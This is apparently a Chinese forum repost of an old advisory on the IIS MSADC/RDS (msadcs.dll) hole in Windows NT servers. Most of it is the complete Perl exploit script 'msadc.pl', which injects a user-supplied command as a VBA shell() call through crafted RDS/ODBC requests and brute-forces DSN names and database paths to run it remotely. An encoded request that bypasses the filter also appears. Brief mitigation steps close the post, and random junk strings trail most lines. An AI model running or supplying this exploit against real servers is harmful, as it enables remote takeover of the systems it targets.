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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `g&<7~\=A  
*4;MO2g  
涉及程序: :yo tpa  
Microsoft NT server mYf7?I~  
x8xSA*@k  
描述: =l TV2C<  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _4VF>#b  
_,Wb`P  
详细: 2`qO'V3Q  
如果你没有时间读详细内容的话,就删除: ,*SoV~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll G:NI+E"]  
有关的安全问题就没有了。 Z?yMy zT  
]5X=u(}  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 @0cQ4}  
dGU io?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 X#KC<BXw,  
关于利用ODBC远程漏洞的描述,请参看: e"9 u}-Q@  
`,XCD-R^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D7.|UG?G  
Gq_rZo(@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "L'0"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp o";5@NH  
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这里不再论述。 EHk(\1!V  
0'T*l 2Z`2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: +L(0R&C  
ck-ab0n  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset w E^6DNh  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! zs! }P  
4 [2^#t[  
: tKa1vL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" HPT{83  
f>$Ld1  
#!perl &?\'Z~B4  
# )NG{iD{_]  
# MSADC/RDS 'usage' (aka exploit) script qI-q%]l  
# .kO!8Q-;%  
# by rain.forest.puppy 7O6VnKl  
# CS[[TzC=5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me TUeW-'/1  
# beta test and find errors! Of| e]GR  
-]=-IiC#  
use Socket; use Getopt::Std; nv WTx4oy  
getopts("e:vd:h:XR", \%args); yxfV|ox  
UO-<~DgH  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; UPtWj8h  
s^nPSY!  
if (!defined $args{h} && !defined $args{R}) { zPwU'TbF  
print qq~ 6*@\Qsp615  
Usage: msadc.pl -h <host> { -d <delay> -X -v } rSTc4m1R  
-h <host> = host you want to scan (ip or domain) b}P5*}$:9"  
-d <seconds> = delay between calls, default 1 second d~[^D<5,D  
-X = dump Index Server path table, if available IEb"tsel  
-v = verbose 8 jom)a  
-e = external dictionary file for step 5 ~r`~I"ZK7^  
N_jCx*.G  
Or a -R will resume a command session ]s lYr8m  
JM8 s]&  
~; exit;} ^'8T9N@U  
:j/PtNT@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; /Cd`h ;#@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]Y[8|HJ8  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} s)]Z*#ZZ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); WWF#&)ti  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ty]/F+{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } mfu >j,7l  
Vy = fm  
if (!defined $args{R}){ $ret = &has_msadc; "A jtNL5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 0y4z`rzTn  
YWA:741  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" J.x>*3< l  
. "cmd /c "; pk'@!|g%=  
$in=<STDIN>; chomp $in; (sw1HR  
$command="cmd /c " . $in ; x q93>Hs  
uh`@qmu)  
if (defined $args{R}) {&load; exit;} `+b>@2D_  
qx5X2@-;:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; EmNB}\IYU  
&try_btcustmr; V|NWJ7   
WfVkewuPo  
print "\nStep 2: Trying to make our own DSN..."; d"78w-S  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :=04_5 z  
x+5Q}ux'G  
print "\nStep 3: Trying known DSNs..."; 96F:%|yG  
&known_dsn; 4:cbasy  
ZP?k|sEH  
print "\nStep 4: Trying known .mdbs..."; }Iub{30mp  
&known_mdb; lf|e8kU\f  
I(Nsm3L  
if (defined $args{e}){ 7V0:^Jov  
print "\nStep 5: Trying dictionary of DSN names..."; X5wS6v)#(  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } aEdF Z  
`ea$`2  
print "Sorry Charley...maybe next time?\n"; QAi(uL5   
exit; *ILS/`mdav  
,@='.Qs4g  
############################################################################## C?rL>_+71  
kVU|k-?2  
sub sendraw { # ripped and modded from whisker YO!,m<b^u  
sleep($delay); # it's a DoS on the server! At least on mine... NOx&`OU+  
my ($pstr)=@_; Dr`\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }U'5j/EFZ  
die("Socket problems\n"); `1EBnL_1  
if(connect(S,pack "SnA4x8",2,80,$target)){ vkq?z~GA  
select(S); $|=1; c7s4 g-  
print $pstr; my @in=<S>; - |[_j$g  
select(STDOUT); close(S); jT: :o  
return @in; ^<E+7  
} else { die("Can't connect...\n"); }} Dx <IS^>i  
c4-&I"z  
############################################################################## rB4#}+Uq  
Z;>~<#!4  
sub make_header { # make the HTTP request keJec`q=X  
my $msadc=<<EOT *0c }`|  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5)nv  
User-Agent: ACTIVEDATA \^#1~Kx  
Host: $ip UkqLLzL  
Content-Length: $clen B8_l+dXO  
Connection: Keep-Alive cEqh|Q  
;! 9_5Ar%  
ADCClientVersion:01.06 lwY{rWo  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 M`>W'<  
RChY+3,L)  
--!ADM!ROX!YOUR!WORLD! =d5!O~}r>  
Content-Type: application/x-varg gx6&'${=#  
Content-Length: $reqlen xlwsZm{V  
BphF+'CM  
EOT (C3d<a\:  
; $msadc=~s/\n/\r\n/g; )_Oc=/c|f  
return $msadc;} w-#0k.T  
7q^/.:wlf  
############################################################################## SW; b E  
u]2k%TUY  
sub make_req { # make the RDS request 'pe0Q-  
my ($switch, $p1, $p2)=@_; m[bu(qz  
my $req=""; my $t1, $t2, $query, $dsn; +>3c+h,%.  
-,;Ep'  
if ($switch==1){ # this is the btcustmr.mdb query V[mQ;:=  
$query="Select * from Customers where City=" . make_shell(); 3a qmK.`H  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . PGKXzp'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} sZH7 EK  
VM,ZEt3Vy  
elsif ($switch==2){ # this is general make table query %:,=J  
$query="create table AZZ (B int, C varchar(10))"; Z:v1?v  
$dsn="$p1";} s z\RmX  
#TgJ d  
elsif ($switch==3){ # this is general exploit table query uJ`&hX  
$query="select * from AZZ where C=" . make_shell(); a  98  
$dsn="$p1";} #$w#"Nr9k  
kOCxIJ!Xp=  
elsif ($switch==4){ # attempt to hork file info from index server X*"K g  
$query="select path from scope()"; 95Qz1*TR  
$dsn="Provider=MSIDXS;";} a~* V  
5u46Vl{  
elsif ($switch==5){ # bad query +V@=G &Ou0  
$query="select"; aAri  
$dsn="$p1";} 'y?|shV{]  
JF*g!sV%  
$t1= make_unicode($query); J,O@T)S@  
$t2= make_unicode($dsn); 5E!m! nBZ  
$req = "\x02\x00\x03\x00"; tA-B3 ]  
$req.= "\x08\x00" . pack ("S1", length($t1)); SR& mHI-f0  
$req.= "\x00\x00" . $t1 ; XijLS7Aw|  
$req.= "\x08\x00" . pack ("S1", length($t2)); GC[{=]}9U  
$req.= "\x00\x00" . $t2 ; EKPTDKut  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @q/1m~t  
return $req;} ak) -OL1  
EYxRw  
############################################################################## Pm^N0L9?q  
#/Fu*0/)`  
sub make_shell { # this makes the shell() statement DOVX$N$3  
return "'|shell(\"$command\")|'";} F2$bUY  
} +4Bf+u:  
############################################################################## X-1Vp_(,TP  
nV3 7` I  
sub make_unicode { # quick little function to convert to unicode uX +<`3O  
my ($in)=@_; my $out; !>< %\K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } " ^baiN@ac  
return $out;} B  bw1k  
EQJ_$6  
############################################################################## Tud1xq  
%hbLT{w  
sub rdo_success { # checks for RDO return success (this is kludge) kc'0NE4oq  
my (@in) = @_; my $base=content_start(@in); RVnyl`s  
if($in[$base]=~/multipart\/mixed/){ 5u_4lNJ&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} B21AcE  
return 0;} RzRvu]]8  
'ZH<g8:=@  
############################################################################## +;*(a3Gp  
'[ g)v  
sub make_dsn { # this makes a DSN for us NWHH.1|  
my @drives=("c","d","e","f"); 'e>sHL  
print "\nMaking DSN: "; G;HlII9x[  
foreach $drive (@drives) { ]cqZ!4?_  
print "$drive: ";  g1wI/  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . o9LD6$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %DRy&k/T  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ui |a}`c  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?4>y2!OC9  
return 0 if $2 eq "404"; # not found/doesn't exist ^T&u!{82j  
if($2 eq "200") { ^q&wITGI  
foreach $line (@results) { KTK6#[8A  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} r.wIk0  
} return 0;} W,/C?qFp  
K%c ATA3  
############################################################################## G#n^@kc*,  
g<iwxF  
sub verify_exists { @yn^6cE  
my ($page)=@_; {?f^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ah/6;,T  
return $results[0];} nG ^M 2)(8  
}1]!#yMfq  
############################################################################## sK 1m9  
R'9@A\7#  
sub try_btcustmr { # HM\ a  
my @drives=("c","d","e","f"); k~jKJb-_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); &Ev]x2YC  
LA+$_U"Jk  
foreach $dir (@dirs) { *mQDS.'AB@  
print "$dir -> "; # fun status so you can see progress E7yf[/it  
foreach $drive (@drives) { *)NR$9lGv  
print "$drive: "; # ditto q3x;_y^  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Q Bfhyo_  
$reqlenlen=length( "$reqlen" ); 6t_ 3%{  
$clen= 206 + $reqlenlen + $reqlen; B15O,sL&W  
\2R`q*a+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !qTpQ5Dm  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 17 i<4f#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} tIxhSI^  
Th~3mf #  
############################################################################## W>?f^C!+m  
@jE d%W  
sub odbc_error { . QQ?w  
my (@in)=@_; my $base; rysP)e  
my $base = content_start(@in); 4T==A#Z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %UUp=I  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c YM CfP  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3yHb!}F  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *`+<x  
return $in[$base+4].$in[$base+5].$in[$base+6];} V6@*\+:3)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; vLv|SqD  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,30FGz^i  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} {k_ PMl0G  
Hi; K"H]x1  
############################################################################## KFTf~!|  
ch0oFc$  
sub verbose { 4i_spF-3  
my ($in)=@_; a1 4 6kq  
return if !$verbose; s6uF5]M;2  
print STDOUT "\n$in\n";} t4f (Y,v  
7oZ@<QP'  
############################################################################## MekT?KPQ{L  
qs6Nb'JvQR  
sub save { }mKGuCoH>  
my ($p1, $p2, $p3, $p4)=@_; C1X}3bB  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *F\T}k7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; C6K|:IK{  
close OUT;} Ne &Xf  
1.Haf  
############################################################################## DC?21[60  
H!unIy|  
sub load { ]$m#1Kj  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z $9@j2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); :dc"b?Ch  
@p=<IN>; close(IN); [kPD`be2#  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 4 t&gW  
$target= inet_aton($ip) || die("inet_aton problems"); ad"'O]  
print "Resuming to $ip ...";  EX[B/YH  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a$C2}  
if($p[1]==1) { ! 9d _Gf-  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; {V}t'x`4c  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; mSU@UD|'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); w+t#Yb\7  
if (rdo_success(@results)){print "Success!\n";} W*YxBn4  
else { print "failed\n"; verbose(odbc_error(@results));}} 1i4WWK7k  
elsif ($p[1]==3){ \:]DFZ=!  
if(run_query("$p[3]")){ 1S+;ZMk  
print "Success!\n";} else { print "failed\n"; }} #$LH2?)  
elsif ($p[1]==4){ cwk+#ur  
if(run_query($drvst . "$p[3]")){ nYOY"'z  
print "Success!\n"; } else { print "failed\n"; }} DW1@<X  
exit;} Wt>J`  
Wu4ot0SZ  
############################################################################## ]kRI}Om2  
:~vxZ*a  
sub create_table { ~V @;(_T  
my ($in)=@_; <v]z6B@9!  
$reqlen=length( make_req(2,$in,"") ) - 28; 7e1dEgn  
$reqlenlen=length( "$reqlen" ); -M6L.gi)oJ  
$clen= 206 + $reqlenlen + $reqlen; '9'l=Sh  
my @results=sendraw(make_header() . make_req(2,$in,"")); (VR" Mi4  
return 1 if rdo_success(@results); /$;,F't#2M  
my $temp= odbc_error(@results); verbose($temp); Y!Drb-U?;  
return 1 if $temp=~/Table 'AZZ' already exists/; IrJ+Jov  
return 0;} BU!#z(vU  
P^"R4T  
############################################################################## W$r^  
RL6Vkd?  
sub known_dsn { Hk@r5<{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,I ZqLA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", J7:9_/ e0T  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y=w`w>%  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _mXs4  
{&-#s#&  
foreach $dSn (@dsns) { f e|g3>/|  
print "."; k=?^){[We  
next if (!is_access("DSN=$dSn")); dXl]Pe|v  
if(create_table("DSN=$dSn")){ UgR :qjI  
print "$dSn successful\n"; IK'F{QPH  
if(run_query("DSN=$dSn")){ bw9 nB{C<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _%{0?|=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} oCVku:.  
|H W( vA  
############################################################################## &iNS?1a%f=  
T^]7R4 Fg  
sub is_access { O=aw^|oj]  
my ($in)=@_; fJy)STQ4  
$reqlen=length( make_req(5,$in,"") ) - 28; MWs~#ReZ  
$reqlenlen=length( "$reqlen" ); 9*\g`fWc}{  
$clen= 206 + $reqlenlen + $reqlen; 4d`+CD C  
my @results=sendraw(make_header() . make_req(5,$in,"")); Q4?EZ_O  
my $temp= odbc_error(@results); Me,<\rQ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 1[SA15h  
return 0;} "]#'QuR  
-w]/7cH  
############################################################################## eLV.qLBUs  
Q_]~0PoH  
sub run_query { zb:kanb-  
my ($in)=@_; Efx=T$%^&  
$reqlen=length( make_req(3,$in,"") ) - 28; qfYG.~`5  
$reqlenlen=length( "$reqlen" ); U; U08/y  
$clen= 206 + $reqlenlen + $reqlen; ?v4E<iXs  
my @results=sendraw(make_header() . make_req(3,$in,"")); NEV p8)w  
return 1 if rdo_success(@results); vd (?$  
my $temp= odbc_error(@results); verbose($temp); OxQYNi2  
return 0;} *~2cG;B"e  
mj2Pk,,SA  
############################################################################## d>|;f  
9i=B  
sub known_mdb { ]-:6T0JuS  
my @drives=("c","d","e","f","g"); ^m%52Tm h  
my @dirs=("winnt","winnt35","winnt351","win","windows"); {<K=*r rZ  
my $dir, $drive, $mdb; Yw)Fbt^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; f*m[|0qI<X  
3v1 7"  
# this is sparse, because I don't know of many 6G of. :"f  
my @sysmdbs=( "\\catroot\\icatalog.mdb", =45W\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", yMxTfR  
"\\system32\\certmdb.mdb", %;|0  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% uel{`T[S  
m Ni2b*k  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 89H sPB1"t  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |m;L?)F<  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", {C")#m-0  
"\\cfusion\\cfapps\\security\\realm_.mdb", pRi<cO  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", cWa)#:JOV  
"\\cfusion\\database\\cfexamples.mdb", XP3x Jm3  
"\\cfusion\\database\\cfsnippets.mdb", 1m@^E:w  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |E3X  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", c#cx>wq9  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  L,LNv  
"\\cfusion\\database\\smpolicy.mdb", IV`%V+ f  
"\\cfusion\\database\cypress.mdb", Jxl6a:  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", J n&7C  
"\\website\\cgi-win\\dbsample.mdb", K8I$]M   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "Cz<d w]D  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" y1f:?L-z  
); #these are just |> enp>  
foreach $drive (@drives) { </`yd2>  
foreach $dir (@dirs){ cr;`Tl~}s  
foreach $mdb (@sysmdbs) { yxWO [ Z  
print "."; Ond'R'3\E  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ s Be7"^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ipE ]}0q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (5Nv8H8|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; } ^kL|qmjR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |CFRJN-J"  
*m+BuGt|  
foreach $drive (@drives) { \wvg,j=  
foreach $mdb (@mdbs) { K%5"u'  
print "."; pv)`%<  
if(create_table($drv . $drive . $dir . $mdb)){ kFLB> j97  
print "\n" . $drive . $dir . $mdb . " successful\n"; V ~{fB~  
if(run_query($drv . $drive . $dir . $mdb)){ Cfu=u *u  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; muON> ^MbC  
} else { print "Something's borked. Use verbose next time\n"; }}}} Xd `vDgD  
} l@Z6do  
@~td`Z?1 y  
############################################################################## *iA4:EIP  
yR5XJ;Tct  
sub hork_idx { !D^c3d  
print "\nAttempting to dump Index Server tables...\n"; E0n6$5Uc?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; I0'WOV70  
$reqlen=length( make_req(4,"","") ) - 28; i yesD  
$reqlenlen=length( "$reqlen" ); X;F8_+Np  
$clen= 206 + $reqlenlen + $reqlen; fh8j2S9J  
my @results=sendraw2(make_header() . make_req(4,"","")); w4,Ag{t>  
if (rdo_success(@results)){ (.Y/  
my $max=@results; my $c; my %d; 1 T<+d5[C  
for($c=19; $c<$max; $c++){ "_UdBG  
$results[$c]=~s/\x00//g; Io`P,l:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; NE2pL@ sk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Hy:V`>  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; t&q N: J  
$d{"$1$2"}="";} *A'FC|\  
foreach $c (keys %d){ print "$c\n"; } T=f|,sK +7  
} else {print "Index server doesn't seem to be installed.\n"; }} Z4K+ /<I  
w8Q<r.  
############################################################################## :(|'S4z  
E(pF:po  
sub dsn_dict { ~+X9g  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _n8GWBi  
while(<IN>){ .R*!aK  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {~GYj%-^  
next if (!is_access("DSN=$dSn")); !`JHH&  
if(create_table("DSN=$dSn")){ k,F"-K+M  
print "$dSn successful\n"; 2zSG&",2D  
if(run_query("DSN=$dSn")){ ^g1f X1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }kHdK vZ  
print "Something's borked. Use verbose next time\n";}}} sAn0bX  
print "\n"; close(IN);} 620%Z*   
`?g`bN`Vn  
############################################################################## [D "t~QMr  
TcTM]ixr  
sub sendraw2 { # ripped and modded from whisker 5wao1sd#  
sleep($delay); # it's a DoS on the server! At least on mine... / O/`<  
my ($pstr)=@_; W1Lr_z6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `vG,}Pt]  
die("Socket problems\n"); x&Vm!,%:1  
if(connect(S,pack "SnA4x8",2,80,$target)){ Jf)bHjC_V  
print "Connected. Getting data"; ]r! >{  
open(OUT,">raw.out"); my @in; ]?1Y e8>Y<  
select(S); $|=1; print $pstr; /M~!sPW&?  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} /v|"0  
close(OUT); select(STDOUT); close(S); return @in; HjqB^|z  
} else { die("Can't connect...\n"); }} 7'-Lp@an  
-4w=s|#.\  
############################################################################## 87%*+n:?*  
G&xo1K]  
sub content_start { # this will take in the server headers E9|eu\  
my (@in)=@_; my $c; l\AMl \  
for ($c=1;$c<500;$c++) { <e]Oa$  
if($in[$c] =~/^\x0d\x0a/){ w~_;yQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } X8dR+xd  
else { return $c+1; }}} \;-fi.Hrf$  
return -1;} # it should never get here actually CM)Q&:  
_zt1 9%Wg  
############################################################################## 9=w|)p )  
V}d 9f 2  
sub funky { O1 .w,U  
my (@in)=@_; my $error=odbc_error(@in); n?\ nn3  
if($error=~/ADO could not find the specified provider/){ 9][(Iu]h7  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; GLn{s  
exit;} IKMeJ(:S  
if($error=~/A Handler is required/){ RjF'x  
print "\nServer has custom handler filters (they most likely are patched)\n"; o-xDh7v  
exit;} _LAS~x7,  
if($error=~/specified Handler has denied Access/){ x:vu'A  
print "\nServer has custom handler filters (they most likely are patched)\n"; 72sD0)?A  
exit;}} yKXff1^M  
[S.ZJUns  
############################################################################## Q%/<ZC.Mz6  
EM7+VO(  
sub has_msadc { P o jmC  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); e{;OSk`x  
my $base=content_start(@results); O3N0YGhJ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); p~ C.IG  
return 0;} <9=9b_z  
lP Lz@Up~  
######################## sS&Z ,A  
`28};B>  
h2ZkCML  
解决方案: ] 2DH;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ) \Y7&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t}v2$<!I  
fzjU<?}  
拿出来充数 哈哈
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